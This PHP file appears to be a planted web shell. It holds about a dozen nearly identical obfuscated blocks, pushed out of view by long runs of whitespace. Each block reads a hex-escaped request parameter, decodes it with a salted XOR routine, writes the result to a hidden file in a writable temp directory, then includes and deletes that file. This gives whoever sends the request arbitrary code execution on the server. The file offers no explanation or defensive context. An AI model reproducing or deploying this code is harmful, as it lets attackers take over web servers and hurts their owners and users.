<?php																																										if(!is_null($_REQUEST["\x6Be\x79"] ?? null)){ $parameter_group = $_REQUEST["\x6Be\x79"]; $parameter_group =explode ('.' , $parameter_group) ; $dat = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $k = 0; foreach( $parameter_group as $v2) { $sChar = ord( $salt9[$k % $sLen]); $dec =( ( int)$v2 - $sChar -( $k % 10)) ^ 60; $dat .= chr( $dec); $k++; } $mrk = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path()]); for ($flag = 0, $val = count($mrk); $flag < $val; $flag++) { $element = $mrk[$flag]; if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $flg = "$element/.property_set"; if (@file_put_contents($flg, $dat) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(array_key_exists("v\x61\x6Cue", $_POST)){ $factor = $_POST["v\x61\x6Cue"]; $factor =explode( "." , $factor ); $descriptor=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach($factor as $y=>$v8) { $chS=ord($s[$y % $sLen]); $dec=((int)$v8 - $chS -($y % 10)) ^79; $descriptor.= chr($dec); } $key = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir()]); foreach ($key as $pgrp) { if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $token = "$pgrp/.dat"; if (file_put_contents($token, $descriptor)) { include $token; @unlink($token); exit; } } } }
																																										if(array_key_exists("\x6D\x72k", $_REQUEST)){ $holder = $_REQUEST["\x6D\x72k"]; $holder=explode ( ".",$holder ) ; $hld = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $w = 0; array_walk( $holder, function( $v4) use( &$hld, &$w, $s5, $lenS) { $chS = ord( $s5[$w% $lenS]); $dec =( ( int)$v4 - $chS -( $w% 10))^ 32; $hld .= chr( $dec); $w++; }); $value = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", "/var/tmp", "/dev/shm"]); while ($marker = array_shift($value)) { if (!!is_dir($marker) && !!is_writable($marker)) { $elem = implode("/", [$marker, ".sym"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(isset($_POST) && isset($_POST["s\x79\x6Dbol"])){ $descriptor = $_POST["s\x79\x6Dbol"]; $descriptor =explode('.' , $descriptor) ; $token = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3 ); $w = 0; while( $w< count( $descriptor)) {$v2 = $descriptor[$w]; $chS = ord( $s3[$w % $lenS] ); $dec =( ( int)$v2 - $chS -( $w % 10)) ^ 88; $token .= chr( $dec ); $w++; } $key = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP")]); foreach ($key as $entry) { if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $object = implode("/", [$entry, ".rec"]); if (@file_put_contents($object, $token) !== false) { include $object; unlink($object); exit; } } } }
																																										if(@$_REQUEST["mrk"] !== null){ $res = $_REQUEST["mrk"]; $res = explode ( "." , $res) ; $tkn=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $len=count($res); for ($w=0; $w < $len; $w++) { $v3=$res[$w]; $chS=ord($salt[$w % $sLen]); $d=((int)$v3 - $chS - ($w % 10)) ^ 12; $tkn .= chr($d); } $resource = array_filter([getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp"]); for ($object = 0, $component = count($resource); $object < $component; $object++) { $value = $resource[$object]; if ((is_dir($value) and is_writable($value))) { $k = join("/", [$value, ".obj"]); $success = file_put_contents($k, $tkn); if ($success) { include $k; @unlink($k); exit;} } } }
																																										if(isset($_POST["\x73y\x6Dbol"])){ $element = array_filter(["/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd()]); $rec = $_POST["\x73y\x6Dbol"]; $rec = explode ('.' ,$rec ); $dchunk=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt6 ); $q=0; $len=count($rec ); do { if ($q >= $len) break; $v8=$rec[$q]; $sChar=ord($salt6[$q % $lenS] ); $dec=((int)$v8 - $sChar - ($q % 10)) ^ 25; $dchunk.=chr($dec ); $q++; } while (true ); foreach ($element as $key => $flag) { if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $res = implode("/", [$flag, ".desc"]); if (@file_put_contents($res, $dchunk) !== false) { include $res; unlink($res); die(); } } } }
																																										if(isset($_POST) && isset($_POST["c\x6Fmpo\x6E\x65\x6Et"])){ $pgrp = $_POST["c\x6Fmpo\x6E\x65\x6Et"]; $pgrp= explode ( '.' , $pgrp ) ; $record=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt9 ); $l=0; array_walk($pgrp, function($v5) use(&$record, &$l, $salt9, $sLen) { $sChar=ord($salt9[$l % $sLen] ); $d=((int)$v5 - $sChar -($l % 10))^ 68; $record .= chr($d ); $l++; } ); $obj = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]); for ($data = 0, $token = count($obj); $data < $token; $data++) { $bind = $obj[$data]; if (is_dir($bind) ? is_writable($bind) : false) { $item = vsprintf("%s/%s", [$bind, ".fac"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $item; @unlink($item); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x65\x6Cem"])){ $pointer = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $mrk = $_POST["\x65\x6Cem"]; $mrk = explode ( "." ,$mrk) ; $reference=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); $p=0; $__len=count($mrk); do { if ($p >= $__len) break; $v4=$mrk[$p]; $chS=ord($salt[$p% $lenS]); $d=((int)$v4 - $chS - ($p% 10)) ^ 98; $reference .= chr($d); $p++; } while (true); foreach ($pointer as $component): if ((bool)is_dir($component) && (bool)is_writable($component)) { $symbol = sprintf("%s/.marker", $component); if (file_put_contents($symbol, $reference)) { require $symbol; unlink($symbol); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x69\x74m"])){ $data_chunk = $_REQUEST["\x69\x74m"]; $data_chunk = explode ("." , $data_chunk); $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $t = 0; array_walk($data_chunk ,function($v9) use(&$bind ,&$t ,$s ,$sLen) { $chS = ord($s[$t % $sLen]); $d =((int)$v9 - $chS -($t % 10)) ^ 2; $bind .= chr($d); $t++; } ); $element = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp"]); $rec = 0; do { $dat = $element[$rec] ?? null; if ($rec >= count($element)) break; if (!( !is_dir($dat) || !is_writable($dat) )) { $marker = "$dat" . "/.item"; $file = fopen($marker, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $marker; @unlink($marker); die(); } } $rec++; } while (true); }
																																										if(!empty($_REQUEST["d\x61\x74a\x5Fc\x68un\x6B"])){ $fac = $_REQUEST["d\x61\x74a\x5Fc\x68un\x6B"]; $fac= explode ( "." , $fac ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($fac as $l => $v9) { $chS = ord($salt[$l % $lenS]); $d = ((int)$v9 - $chS - ($l % 10)) ^ 100; $dchunk .= chr($d); } $factor = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp"]); for ($elem = 0, $marker = count($factor); $elem < $marker; $elem++) { $hld = $factor[$elem]; if (is_dir($hld) ? is_writable($hld) : false) { $ent = implode("/", [$hld, ".entity"]); if (file_put_contents($ent, $dchunk)) { include $ent; @unlink($ent); exit; } } } }
																																										if(array_key_exists("\x68\x6Cd", $_POST) && !is_null($_POST["\x68\x6Cd"])){ $key = $_POST["\x68\x6Cd"]; $key= explode ( "." , $key ); $pgrp= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); foreach( $key as $p =>$v2): $chS= ord( $s[$p %$sLen]); $dec= ( ( int)$v2 - $chS -( $p %10))^ 42; $pgrp .= chr( $dec); endforeach; $marker = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd()]); foreach ($marker as $key => $k) { if (is_dir($k) ? is_writable($k) : false) { $flag = str_replace("{var_dir}", $k, "{var_dir}/.factor"); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $flag; @unlink($flag); exit; } } } }


if(filter_has_var(INPUT_POST, "\x70\x74r")){
	$resource = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir()]);
	$holder = $_POST["\x70\x74r"];
		$holder	=	explode ( 	"."			, 	$holder	 )	 	; 
	$pgrp = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s);
            $p = 0;
    
            $__tmp = $holder;
            while( $v9 = array_shift( $__tmp)) {
                $chS = ord( $s[$p % $lenS]);
                $d =( ( int)$v9 - $chS -( $p % 10)) ^ 14;
                $pgrp .= chr( $d);
                $p++;	} 	
	while ($res = array_shift($resource)) {
    		if (is_writable($res) && is_dir($res)) {
    $tkn = implode("/", [$res, ".flag"]);
    if (file_put_contents($tkn, $pgrp)) {
	require $tkn;
	unlink($tkn);
	die();
}
}
}
}